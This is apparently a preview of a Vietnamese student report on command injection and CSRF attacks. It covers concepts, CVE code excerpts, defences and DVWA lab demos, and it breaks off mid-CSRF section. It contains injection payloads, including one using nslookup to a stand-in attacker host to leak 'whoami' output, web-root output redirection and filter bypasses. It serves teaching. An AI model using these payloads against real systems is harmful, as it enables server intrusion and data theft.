Tìm hiểu về tấn công command injection và CSRF

25 138 1
Tìm hiểu về tấn công command injection và CSRF

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

MỤC LỤC Phân cơng cơng việc Trưởng nhóm: Ngụy Đình Thành - Chịu trách nhiệm phân cơng cơng việc - Thực phần demo thực hành kiểu công - Tổng hợp chỉnh sửa tiểu luận nhóm slide thuyết trình Thành viên: Đặng Quang Thắng - Nghiên cứu lý thuyết phần công CSRF - Thực thuyết trình cơng CSRF Thành viên: Đặng Văn Chung - Nghiên cứu lý thuyết phần cơng Command Injection - Thực thuyết trình công Command Injection LỜI MỞ ĐẦU Ngày nay, với phát triển mạnh mẽ Công nghệ Thông tin, việc sử dụng thông tin mạng Internet ngày mở rộng hiệu tất ngành nghề, lĩnh vực Tuy nhiên, bên cạnh người sử dụng phải đối mặt với nguy mát, rị rỉ thơng tin, bị xâm hại quyền riêng tư truy cập mạng Đây lý khiến người sử dụng lo ngại đặc biệt quan nhà nước Theo số liệu thơng kê năm 2011 BKAV, có 64,2 triệu lượt máy tính Việt Nam bị nhiễm virus, 38.961 dòng virus xuất mới, 2245 website quan, đoanh nghiệp Việt Nam bị công, 85.000 máy tính Việt Nam bị cài virus Ramnit để lấy cắp liệu quan trọng Đổi với công ty lớn, nguy bị công vào hệ thống đồng nghĩa với việc họ bị thiệt hại hàng tỷ USD, uy tín trước khách hàng bị giảm sút Với quan y tế quốc phịng thiệt hại cịn thảm khốc gấp nhiều lần Với nguồn tài nguyên thông tin phong phú, đa dạng, hấp dẫn mạng tiềm ấn loại hình chiến tranh mới: “Chiến tranh thơng tin" Trong lĩnh vực An ninh Quốc phịng, mơi trường thông tin mở mạng đặt thách thức gay gắt Một mặt ta phải tổ chức khai thác cách có hiệu bảo vệ nguồn tài nguyên thông tin Quốc gia, mặt khác ta cần phải chiếm ưu đánh bại đối phương địn cơng thông tin qua mạng Internet cần thiết Theo báo Dân Việt ngày 14/06/2011, tuần có hàng trăm website Việt Nam bị hacker công, có nhiều vụ cơng tin tặc để lại thơng điệp tiếng Trung hình ảnh cờ Trung Quốc Điều cho thấy hình thái chiến tranh thơng tin hình thành Việt Nam Vấn để an tồn thơng tin cho mạng máy tính vả việc nghiên cửu chiến tranh thơng tin mạng giải pháp phịng tránh, đánh trả cụ thể nhụ cầu cấp bách Do đó, “Tấn cơng - Phịng thủ” mạng Internet toán cần phải đặt hàng đầu lĩnh vực An ninh Quốc phịng ngày Vì vậy, nhóm chúng em chọn đề tài: "Tìm hiểu cơng Command Injection CSRF” làm đề tài tìm hiểu Ngồi phần mở đầu, kết luận, tìm hiểu nhóm gồm chương: Chương 1: Tấn công Command Injection Chương 2: Tấn công Cross Site Request Forgery (CSRF) Chương TẤN CÔNG COMMAND INJECTION 1.1 Tổng quan Command Injection Command Injection (hay gọi shell injection) lỗ hổng cho phép kẻ công thực thi lệnh hệ điều hành server chạy ứng dụng với đặc quyền web server Lỗ hổng xảy ứng dụng gọi tới lệnh shell để thực thi tác vụ với input người dùng nhập vào không lọc input cách cẩn thận Kẻ cơng tận dụng lỗ hổng để khai thác, lấy thông tin, chuyển công sang hệ thống khác bên tổ chức Như tóm lại dựa vào sơ hơ Web Application, Hacker - kẻ cơng thực câu lệnh, dòng code OS để thực hành vi không tốt hệ thống Việc tiêm thêm (injection) vào ứng dụng để thực thi hành vi không tốt lỗi vô nguy hiểm Có thể gây lỗi cho host, lấy cắp thơng tin, trí chiếm quyền quản lý server Lỗ hổng OS command injection cho phép kẻ cơng thực hành vi như: • Thực thi lệnh hệ thống • Làm tổn hại tới ứng dụng, server chạy ứng dụng liệu • Thực SSRF • Lấy reverse shell • tuỳ theo đặc quyền web server mà lỗ hổng cho phép kẻ cơng thực hành vi khác 1.2 Cách thức công Command Injection 1.2.1 Thực lệnh tùy ý shell Ví dụ: https://insecure-website.com/stockStatus?productID=381&storeID=29 Ở để lấy thơng tin web gọi productID store Nhưng vài lý đó, chức triển khai cách gọi lệnh shell với productID store làm đối số: stockreport.pl 381 29 Nếu hệ thống không bảo vệ chống lại Command Injection Attacker gửi đầu vào sau để thực thi lệnh tùy ý & command & Ví dụ: https://insecure-website.com/stockStatus?productID=381&id&&storeID=29 Các lệnh thường sử dụng Purpose of command Linux Windows Tên người dùng whoami whoami OS OSuname -a ver Cấu hình mạng ifconfig ipconfig Kết nối mạng netstat -an netstat -an Tiến trình chạy ps -ef tasklist 1.2.2 Lỗ hổng Blind command injection Nhiều trường hợp command injection blind vulnerabilities Có nghĩa đầu khơng trả HTTP response Vậy kết k hiển thị hình Vậy có cách xác định blind vulnerabilities Có thể sử dụng time delays để xác định blind vulnerabilities Nó kích hoạt độ trễ, cho phép bạn xác nhận lệnh thực thi hay chưa dựa vào thời gian mà ứng dụng cần để đáp ứng Lệnh ping lệnh hiệu để thực việc này, cho phép định gói ICMP cần gửi thời gian để lệnh chạy: & ping -c 10 127.0.0.1 & Có thể khai thác lỗ hổng cách chuyển hướng đầu từ lệnh chèn vào tệp thư mục gốc mà bạn đọc trình duyệt Ví dụ: Nếu thư mục gốc website /var/www/static bạn gửi lệnh tiêm sau: &whoami > /var/www/static/whoami.txt & Rồi sau bạn sử dụng trình duyệt truy cập vào http://target.com/whoami.txt để truy xuất tệp xem đầu từ lệnh chèn vào Ngồi ra, cịn sử dụng số thủ thuật khác để kiểm tra xem lệnh tiêm ăn hay chưa Ví dụ: & nslookup web-attacker.com & Attacker kiểm tra server phát lệnh tiêm thành cơng hay chưa Ngồi cịn sử dụng: & nslookup `whoami`.web-attacker.com & Các cách dùng để Command Injection Đầu tiên cần phải xác định hệ thống target hoạt động gì, Windows hay Linux? Một số ký tự có chức phân tách lệnh, cho phép lệnh nối với • • • • & && | || 1.3 Một số lỗi Command Injection tồn thực tế Lỗ hổng OS Command Injection lỗ hổng có từ lâu Tuy nhiên, khơng mà ngày khơng cịn Trên trang https://cve.mitre.org/, ta tìm thấy CVE lỗ hổng loại cịn tồn Ví dụ như: WordPress DZS-VideoGallery Plugin (CVE: 2014-9094) Phiên DZS-VideoGallery 7.85 Plugin WordPress có lỗ hổng truyền command injection vào Gemitel 3.50 - '/affich.php' Remote File Inclusion / Command Injection (CVE: 2004-1934) File: html/affich.php Code: $f_inc=$base."sp-turn.php"; $plus = " /"; // rajoute au chemin pour trouver les fichiers txt require("$f_inc"); //require("sp-turn.php"); Đọc source code ta thấy đoạn require("$f_inc"); thực thi command line Mà $f_inc=$base."sp-turn.php" Ở đoạn ta truyền sp-turn.php $base tùy theo ý muốn Pandora Fms 3.1 - OS Command Injection (CVE: 2010-4278) đoạn code ngắn file operation/agentes/networkmap.php 32 $layout = (string) get_parameter ('layout', 'radial'); 137 $filename_map = $config["attachment_store"]."/networkmap_".$layout; 138 $filename_img = "attachment/networkmap_".$layout."_".$font_size; 139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout; 162 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng - -o".$filename_img." ".$filename_dot; 163 $result = system ($cmd); Ta thấy command injection vào CVE-2020-9478: tìm thấy Rubrik 5.0.3-2296 CVE-2020-9020: tìm thấy thiết bị Iteris Vantage Velocity Field Unit 2.3.1, 2.4.2, and 3.0 CVE-2020-8427: tìm thấy phiên trước 9.5.20 Kaseya Traverse 1.4 Cách phòng chống cơng Command Injection • • • • • Để hạn chế lỗ hổng OS Command Injection, cần: Nếu không thực cần thiết, không sử dụng lệnh gọi lệnh hệ thống code ứng dụng Không tin tưởng giá trị đầu vào người dùng Loại bỏ ký tự đặc biệt bên server chuyển hướng, điều kiện command hệ thống Với loại command muốn chạy kiểm tra chặt chẽ đầu vào Nếu tránh việc sử dụng lệnh hệ thống, chắn việc chuẩn hoá liệu áp dụng đúng: o giá trị nhập vào nằm whitelist giá trị sử dụng o giá trị nhập vào kiểu kì vọng ứng dụng (số hay o string ) giá trị nhập vào chứa kí tự chữ số, khơng có định dạng hay cú pháp 1.5 Demo công Command Injection DVWA 1.5.1 Mức độ Low Security - Source code cho thấy server không kiểm tra đầu vào mà thực lệnh ping với chuỗi ta nhập - Do ta cần ghép thêm ‘&&’ (and) vào chuỗi đầu vào để nối command với khiến server thực thi lệnh mà ta đưa vào - Từ ta cơng lấy tệp config chứa tài khoản mật sở liệu web server 1.5.2 Mức độ Medium Security - Mức độ server loại bỏ ký tự “&&” chuỗi đầu vào 10 - Thay ‘&&’ ta sử dụng ký tự ‘|’ (or) để bypass qua lệnh ping phía trước thực lệnh sau mà ta nhập vào - Phần lại tương tự phần trước 1.5.3 Mức độ High Security - Server tiếp tục kiểm tra đầu vào loại bỏ ký tự đặc biệt mà người dùng có 11 thể bypass để thực thi lệnh - Để ý danh sách ký tự có ‘| ‘ chứa dấu cách Vậy ta sử dụng ‘|’ khơng có dấu cách liền kề để thực thi lệnh - Tiếp theo lấy cắp liệu bảo mật sở liệu tương tự phần Low Security 12 Chương TẤN CÔNG CROSS SITE REQUEST FORGERY (CSRF) 2.1 Tổng quan CSRF 2.1.1 Khái niệm CSRF CSRF (Cross Site Request Forgery) kĩ thuật công cách sử dụng quyền chứng thực người sử dụng website khác Các ứng dụng web hoạt động theo chế nhận câu lệnh HTTP từ người sử dụng, sau thực thi câu lệnh Hacker sử dụng phương pháp CSRF để lừa trình duyệt người dùng gửi câu lệnh http đến ứng dụng web Trong trường hợp phiên làm việc người dùng chưa hết hiệu lực câu lệnh dc thực với quyền chứng thực người sử dụng Cross-site Request Forgery (CSRF), CSRF nói đến việc cơng vào chứng thực request web thông qua việc sử dụng Cookies, nơi mà hacker có khả sử dụng thủ thuật để tạo request mà bạn khơng biết Vì vậy, CSRF hacker lạm dụng tin tưởng ứng dụng web trình duyệt nạn nhân CSRF kiểu cơng gây nhầm lẫn tăng tính xác thực cấp quyền nạn nhân gửi request giả mạo đến máy chủ Vì lỗ hổng CSRF ảnh hưởng đến quyền người dùng ví dụ quản trị viên, kết chúng truy cập đầy đủ quyền Trong cơng CSRF trình duyệt nạn nhân bị lừa để gửi request đến ứng dụng web theo mong muốn kẻ cơng, thơng thường, ví dụ yêu cầu gửi lên để thay đổi vài liệu phía server Khi gửi request HTTP (hợp pháp cách khác), trình duyệt nận nhân bao gồm tiêu đề cookie Các cookie thường dùng để lưu trữ session để định danh người dùng xác thực lại cho yêu cầu gửi lên, điều hiển nhiên không thực tế Nếu phiên làm việc xác thực nạn nhân lưu trữ Cookie hiệu lực (một cửa sổ trình duyệt khơng thiết phải mở), 13 ứng dụng dễ bị cơng CSRF, kẻ cơng thử dụng CSRF để chay yêu cầu với trang web mà trang web phân biệt request hợp pháp hay không Một công CSRF sử dụng để sửa đổi cài đặt tường lửa, đăng liệu trái phép diễn đàn thực giao dịch tài gian lận Một người dùng bị cơng khơng biết trở thành nạn nhân CSRF Thậm chí người dùng có phát cơng này, sau hacker gây thiệt hại định khơng có biện pháp để khắc phục vấn đề 2.1.2 Lịch sử công CSRF Các kiểu công CSRF xuất từ năm 1990, nhiên cơng xuất phát từ IP người sử dụng nên log file website không cho thấy dấu hiệu CSRF Các công theo kĩ thuật CSRF không báo cáo đầy đủ, đến năm 2007 có vài tài liệu miêu tả chi tiết trường hợp công CSRF Năm 2008 người ta phát có khoảng 18 triệu người sử dụng eBay Hàn Quốc thơng tin cá nhân Cũng năm 2008, số khách hàng ngân hàng Mexico bị tài khoản cá nhân Trong trường hợp kể hacker sử dụng kĩ thuật công CSRF 2.2 Kịch công CSRF Các ứng dụng web hoạt động theo chế nhận câu lệnh HTTP từ người sử dụng, sau thực thi câu lệnh Hacker sử dụng phương pháp CSRF để lừa trình duyệt người dùng gửi câu lệnh http đến ứng dụng web Điều thực cách chèn mã độc hay link đến trang web mà người dùng chứng thực Trong trường hợp phiên làm việc người dùng chưa hết hiệu lực câu lệnh thực với quyền chứng thực người sử dụng 2.2.1 Cross-site Request Forgery với GET request Kịch 1: 14 Người dùng Alice truy cập diễn đàn u thích thường lệ Một người dùng khác, Bob đăng tải thông điệp lên diễn đàn Giả sử Bob có ý đồ khơng tốt với Alice, Bob muốn thay đổi mật tài khoản Alice Bob tạo viết, có chèn thêm đoạn code sau: Để tăng hiệu che dấu, đoạn mã thêm thơng điệp bình thường để người dùng khơng ý Thêm vào thẻ img sử dụng trường hợp có kích thước 0x0 pixel người dùng thấy Giả sử Alie truy cập vào tài khoản example.com chưa thực logout để kết thúc Bằng việc xem post, trình duyệt Alice đọc thẻ img cố gắng load ảnh từ example.com, gửi câu lệnh thay pass đến địa Ứng dụng web example.com chứng thực Alice thực thay đổi pass Alice Nó trả trang kết mà ảnh, trình duyệt khơng hiển thị ảnh Kịch 2: Giả sử Bob có ý đồ k tốt muốn lấy tiền từ người có tài khoản ngân hàng Bob Bob tạo thơng báo, có chèn đoạn code sau: “eBank vừa công bố lãi xuất mới….” Đoạn mã dc che giấu khéo léo, thứ thêm thơng điệp bình thường để người dùng khơng ý Thứ hai thẻ “

Ngày đăng: 18/06/2021, 11:09

Mục lục

    Phân công công việc

    Chương 1 TẤN CÔNG COMMAND INJECTION

    1.1. Tổng quan về Command Injection

    1.2. Cách thức tấn công Command Injection

    1.2.1. Thực hiện các lệnh tùy ý trên shell

    1.2.2. Lỗ hổng Blind command injection

    1.3. Một số lỗi Command Injection tồn tại trên thực tế

    1.4. Cách phòng chống tấn công Command Injection

    1.5. Demo tấn công Command Injection trên DVWA

    1.5.1. Mức độ Low Security